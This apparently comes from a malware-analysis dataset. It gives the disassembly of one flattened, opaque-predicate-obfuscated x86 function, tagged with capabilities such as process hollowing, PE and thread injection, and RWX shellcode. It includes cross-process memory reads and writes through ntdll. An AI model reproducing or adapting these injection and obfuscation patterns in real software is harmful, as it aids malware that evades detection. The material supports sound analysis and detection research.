Function at 0x10008070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1ac
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1b4], 0xfd8d9ff3
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1b8], eax
sub eax, 0x823b8acb
je 0x1000c424
jmp 0x100080ac
mov eax, dword [ebp - 0x1b8]
sub eax, 0x826ea70a
je 0x1000a80f
jmp 0x100080c2
mov eax, dword [ebp - 0x1b8]
sub eax, 0x82d31b2d
je 0x1000df66
jmp 0x100080d8
mov eax, dword [ebp - 0x1b8]
sub eax, 0x832694fb
je 0x1000eddc
jmp 0x100080ee
mov eax, dword [ebp - 0x1b8]
sub eax, 0x83ef93a4
je 0x1000e2ec
jmp 0x10008104
mov eax, dword [ebp - 0x1b8]
sub eax, 0x851f4884
je 0x1000a5ee
jmp 0x1000811a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x85ac7833
je 0x1000c5cf
jmp 0x10008130
mov eax, dword [ebp - 0x1b8]
sub eax, 0x85c02408
je 0x1000c2a7
jmp 0x10008146
mov eax, dword [ebp - 0x1b8]
sub eax, 0x86307a52
je 0x1000dcf4
jmp 0x1000815c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x886d96db
je 0x1000c8d4
jmp 0x10008172
mov eax, dword [ebp - 0x1b8]
sub eax, 0x897fe1b6
je 0x1000d526
jmp 0x10008188
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8a5dfb6a
je 0x10009c37
jmp 0x1000819e
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8a9c24f0
je 0x1000d217
jmp 0x100081b4
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8acbaed9
je 0x1000cd29
jmp 0x100081ca
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8ba7e7eb
je 0x1000d331
jmp 0x100081e0
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8bddb83b
je 0x1000b044
jmp 0x100081f6
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8be21709
je 0x1000eb5a
jmp 0x1000820c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8c924ed1
je 0x1000e2a3
jmp 0x10008222
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8cf22e41
je 0x10009f2f
jmp 0x10008238
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8e89390f
je 0x1000c286
jmp 0x1000824e
mov eax, dword [ebp - 0x1b8]
sub eax, 0x8fae4b8f
je 0x1000af78
jmp 0x10008264
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9121a0d0
je 0x1000d068
jmp 0x1000827a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x932c2374
je 0x10009e3f
jmp 0x10008290
mov eax, dword [ebp - 0x1b8]
sub eax, 0x949547c5
je 0x1000c0f3
jmp 0x100082a6
mov eax, dword [ebp - 0x1b8]
sub eax, 0x95d76dea
je 0x1000cf45
jmp 0x100082bc
mov eax, dword [ebp - 0x1b8]
sub eax, 0x971b127b
je 0x1000d1a1
jmp 0x100082d2
mov eax, dword [ebp - 0x1b8]
sub eax, 0x99195e99
je 0x10009b5e
jmp 0x100082e8
mov eax, dword [ebp - 0x1b8]
sub eax, 0x993c52f9
je 0x1000eaeb
jmp 0x100082fe
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9a2ef433
je 0x1000ebea
jmp 0x10008314
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9a8eeffa
je 0x1000c3d4
jmp 0x1000832a
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9c824319
je 0x1000d45a
jmp 0x10008340
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9e1e3399
je 0x1000bd60
jmp 0x10008356
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9f170191
je 0x1000ddc2
jmp 0x1000836c
mov eax, dword [ebp - 0x1b8]
sub eax, 0x9ffe24fb
je 0x1000edaf
jmp 0x10008382
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa029c202
je 0x1000c3e3
jmp 0x10008398
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa27cbf0a
je 0x1000ea07
jmp 0x100083ae
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa2e0a12f
je 0x1000e8a3
jmp 0x100083c4
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa2fef32b
je 0x1000a40c
jmp 0x100083da
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa3345113
je 0x1000e4d4
jmp 0x100083f0
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa3dc9e21
je 0x10009e5a
jmp 0x10008406
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa6d6ace6
je 0x1000eb9c
jmp 0x1000841c
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa8f31daa
je 0x1000e3d6
jmp 0x10008432
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa90d5726
je 0x1000cf24
jmp 0x10008448
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa915367c
je 0x1000a664
jmp 0x1000845e
mov eax, dword [ebp - 0x1b8]
sub eax, 0xa9f7cf46
je 0x1000bdd2
jmp 0x10008474
mov eax, dword [ebp - 0x1b8]
sub eax, 0xaad225f6
je 0x1000e5f5
jmp 0x1000848a
mov eax, dword [ebp - 0x1b8]
sub eax, 0xac46bc4b
je 0x1000bb21
jmp 0x100084a0
mov eax, dword [ebp - 0x1b8]
sub eax, 0xaccd1cbf
je 0x1000cbc8
jmp 0x100084b6
mov eax, dword [ebp - 0x1b8]
sub eax, 0xae5778cd
je 0x1000ece8
jmp 0x100084cc
mov eax, dword [ebp - 0x1b8]
sub eax, 0xaea2a24e
je 0x1000cd65
jmp 0x100084e2
mov eax, dword [ebp - 0x1b8]
sub eax, 0xaee5751d
je 0x1000a48a
jmp 0x100084f8
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb07697fb
je 0x1000e827
jmp 0x1000850e
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb0c50f08
je 0x1000ce50
jmp 0x10008524
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb141f5d7
je 0x1000cdda
jmp 0x1000853a
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb3bbdd02
je 0x1000ed58
jmp 0x10008550
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb50a69ad
je 0x1000b69b
jmp 0x10008566
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb599d4ec
je 0x1000c6ad
jmp 0x1000857c
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb61aa017
je 0x1000e44c
jmp 0x10008592
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb673cdca
je 0x1000bb72
jmp 0x100085a8
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb85fe974
je 0x1000a69f
jmp 0x100085be
mov eax, dword [ebp - 0x1b8]
sub eax, 0xb871ca9d
je 0x1000ed76
jmp 0x100085d4
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbb2a57c4
je 0x1000d382
jmp 0x100085ea
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbcb5ebe4
je 0x1000eecb
jmp 0x10008600
mov eax, dword [ebp - 0x1b8]
sub eax, 0xbd48b93e
je 0x1000da7c
jmp 0x10008616
mov eax, dword [ebp - 0x1b8]
sub eax, 0xc08d5699
je 0x1000e67a
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7bb05688
mov ecx, 0x6fff300c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x1461a523
jmp 0x1000eee1
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x1b4], 0xa3dc9e21
jmp 0x1000eee1
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1b4], 0xc28b4bf2
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xbdcebb1f
sub edx, 1
add edx, 0xbdcebb1f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2399cd29
mov ecx, 0x10097477
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x1a0]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x119], al
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6fa0fa88
mov ecx, 0xaee5751d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dl, byte [ebp - 0x119]
mov eax, 0x992d882
mov ecx, 0x4f38a460
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x2bf8ffb1
sub edx, 1
sub edx, 0x2bf8ffb1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe71c705b
mov ecx, 0xa915367c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0x7a15956f
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x74646a1a
mov ecx, 0x478fcdf3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa27cbf0a
mov ecx, 0xfd24065e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x1ac]
add eax, 4
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1b4], 0x2bd4a46f
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xf2e96e32
sub edx, 1
sub edx, 0xf2e96e32
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x749e7782
mov ecx, 0x52490f3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x20f433a9
sub edx, 1
sub edx, 0x20f433a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x29cb2ca6
mov ecx, 0x79e8df71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x6bebaa20
sub edx, 1
sub edx, 0x6bebaa20
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8be21709
mov ecx, 0xb673cdca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x174]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xd4], eax
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8be21709
mov ecx, 0x1c54df7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0xcc33a601
sub edx, 1
add edx, 0xcc33a601
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8f31daa
mov ecx, 0x2f4c0d61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x1b4], 0xc252ab74
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x47c4ae9
sub edx, 1
sub edx, 0x47c4ae9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x60a3ce57
mov ecx, 0x337d2410
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov edx, dword [ebp - 0xc0]
mov eax, 0x328ef992
mov ecx, 0x85c02408
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x1b4], 0x5b6f4083
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0xa029c202
jmp 0x1000eee1
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x1b4], 0x71ba6e9d
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xd01095f4
sub edx, 1
sub edx, 0xd01095f4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc70abe63
mov ecx, 0xd4979045
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
sub ecx, 0xfa4ac6bc
add ecx, 8
add ecx, 0xfa4ac6bc
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x906b3265
sub edx, 1
sub edx, 0x906b3265
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9a2ef433
mov ecx, 0x56fe8d93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x17dccf24
mov ecx, 0x3ae02ab4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed1cc717
mov ecx, 0x4b35176f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0xfe37ed42
sub edx, 1
sub edx, 0xfe37ed42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc08d5699
mov ecx, 0xfda2968c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xf000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x9121a0d0
mov ecx, 0xaea2a24e
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x17c]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x8a014699
or eax, edx
or ecx, 0x8a014699
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x1b4], 0xb141f5d7
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xa47a16fd
sub edx, 1
add edx, 0xa47a16fd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35997d5
mov ecx, 0xb0c50f08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
add ecx, 0xe47ca626
add ecx, eax
sub ecx, 0xe47ca626
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35997d5
mov ecx, 0xa90d5726
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dl, byte [ebp - 0x8d]
mov eax, 0x21165ff2
mov ecx, 0x95d76dea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92cd708
mov ecx, 0x156da5d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov dword [ebp - 0x1b4], 0xba3902d
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x4334f87f
sub edx, 1
sub edx, 0x4334f87f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xae5778cd
mov ecx, 0x8a9c24f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x194]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x1ac]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
add edx, 0x17a9707a
sub edx, 1
sub edx, 0x17a9707a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae5778cd
mov ecx, 0xcf503fbd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
add edx, 0x347b1798
sub edx, 1
sub edx, 0x347b1798
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3bbdd02
mov ecx, 0xbb2a57c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb3bbdd02
mov ecx, 0x7e2598fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x1ac]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x7c], eax
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x606acb01
mov ecx, 0x252afa57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
mov edx, eax
sub edx, 0x6823dcec
sub edx, 1
add edx, 0x6823dcec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb871ca9d
mov ecx, 0x6700018
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov ecx, dword [0x1006eb28]
mov eax, dword [0x1006eb24]
mov edx, ecx
sub edx, 0xa260baa
sub edx, 1
add edx, 0xa260baa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x26d1bf8
mov ecx, 0x2119b5d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [0x1006eb28]
mov ecx, dword [0x1006eb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x832694fb
mov ecx, 0x13f52d9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x1000eee1
mov eax, dword [ebp - 0x68]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1b4], 0xdf3c11f7
